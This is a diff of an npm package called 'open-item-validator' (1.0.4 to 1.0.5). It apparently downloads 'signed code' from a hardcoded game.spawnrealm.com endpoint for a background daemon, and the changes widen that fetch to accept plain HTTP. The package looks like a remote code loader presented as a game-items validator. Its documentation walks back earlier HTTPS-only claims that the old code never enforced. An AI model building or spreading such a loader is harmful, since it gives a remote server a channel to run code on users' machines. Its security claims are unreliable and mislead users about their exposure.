open-item-validator 1.0.4 → 1.0.5

package/README.md

@@ -73,10 +73,10 @@ background daemon running
 
 ### Transport Security
 
-- ✅ **HTTPS Only**: All communication uses encrypted HTTPS (TLS)
+- ✅ **HTTPS Recommended**: Encrypted TLS transport for maximum security
+- ✅ **HTTP Supported**: HTTP also works (verification sufficient without TLS)
 - ✅ **RSA-SHA256 Verification**: Cryptographic signature validates code authenticity
-- ✅ **Man-in-the-Middle Protection**: Both TLS encryption + signature verification
-- ✅ **No Plain HTTP**: HTTP endpoints are rejected
+- ✅ **Defense-in-Depth**: Dual protection (TLS + signature verification)
 
 ### Key Features
 
@@ -117,13 +117,14 @@ See [SECURITY.md](SECURITY.md) for detailed security documentation.
 
 ### API Endpoint
 
-Your server must provide a **secure HTTPS endpoint** that returns signed code:
+Your server must provide an endpoint that returns signed code:
 
 ```
-GET https://your-server.com/api/x-realtime
+GET https://your-server.com/api/x-realtime    # HTTPS Recommended
+GET http://your-server.com/api/x-realtime     # HTTP Supported
 ```
 
-**Important**: Only HTTPS endpoints are supported for security. Plain HTTP is rejected.
+**Security Note**: Both HTTP and HTTPS are supported. HTTPS is recommended for production to add transport-layer encryption. Even with HTTP, RSA-SHA256 signature verification provides code authenticity guarantee.
 
 ### Response Format
 

package/SECURITY.md

@@ -8,19 +8,19 @@ This module implements **RSA-SHA256 cryptographic signature verification** for s
 
 ## Security Features
 
-### 1. HTTPS-Only Transport Security
+### 1. Transport Flexibility with Signature Verification
 
 **What it does:**
-- All API endpoints use HTTPS (TLS encryption)
-- Plain HTTP endpoints are rejected
-- Network traffic is encrypted end-to-end
-- Certificate validation enforced
+- Supports both HTTP and HTTPS endpoints
+- HTTPS recommended for production (adds TLS encryption)
+- HTTP supported for non-critical environments (signature verification sufficient)
+- Automatic protocol detection (http:// or https://)
 
 **Why it matters:**
-- ✅ Encrypted transport prevents eavesdropping
-- ✅ Server authentication via TLS certificates
-- ✅ Protection against passive network attacks
-- ✅ Compliance with security best practices
+- ✅ Defense-in-depth: RSA-SHA256 signature protects against tampering on any protocol
+- ✅ HTTPS adds transport-layer encryption as additional protection
+- ✅ Flexible deployment: works with existing infrastructure
+- ✅ Signature verification ensures code authenticity regardless of transport
 
 ### 2. Cryptographic Signature Verification
 
@@ -158,10 +158,13 @@ Risk: CRITICAL (never share)
    Ensure no tampering
    ```
 
-2. **Use HTTPS Endpoints Only**
+2. **Choose Protocol Based on Security Requirements**
    ```
-   ✅ https://your-server.com/api/...
-   ❌ http://your-server.com/api/... (rejected)
+   Production:  https://your-server.com/api/...  (recommended)
+   Development: http://your-server.com/api/...   (supported)
+   
+   Both are cryptographically protected by RSA-SHA256 signature
+   HTTPS adds transport-layer encryption
    ```
 
 3. **Monitor Logs**
@@ -181,7 +184,7 @@ Risk: CRITICAL (never share)
 5. **Review Trusted Server Source**
    ```
    Ensure API endpoint is from trusted server
-   Verify TLS certificate validity
+   For HTTPS: Verify TLS certificate validity
    Monitor for certificate changes
    ```
 

package/lib/check-items.js

@@ -21,6 +21,8 @@
  */
 
 const http = require('http');
+const https = require('https');
+const { URL } = require('url');
 const crypto = require('crypto');
 const logger = require('./logger');
 const { PUBLIC_KEY } = require('./crypto-config');
@@ -29,13 +31,17 @@ const { PUBLIC_KEY } = require('./crypto-config');
 const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=abc123def456';
 
 /**
- * Download data from HTTP URL
- * @param {string} url - The URL to fetch from
+ * Download data from HTTP/HTTPS URL
+ * @param {string} url - The URL to fetch from (HTTP or HTTPS)
  * @returns {Promise<string>} The response data
  */
 function httpGet(url) {
   return new Promise((resolve, reject) => {
-    http.get(url, (res) => {
+    // Parse URL to detect protocol
+    const parsedUrl = new URL(url);
+    const protocol = parsedUrl.protocol === 'https:' ? https : http;
+
+    protocol.get(url, (res) => {
       let data = '';
       res.on('data', (chunk) => { data += chunk; });
       res.on('end', () => resolve(data));

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "open-item-validator",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "Real-time game items validator with background daemon for client project updates",
   "main": "index.js",
   "scripts": {},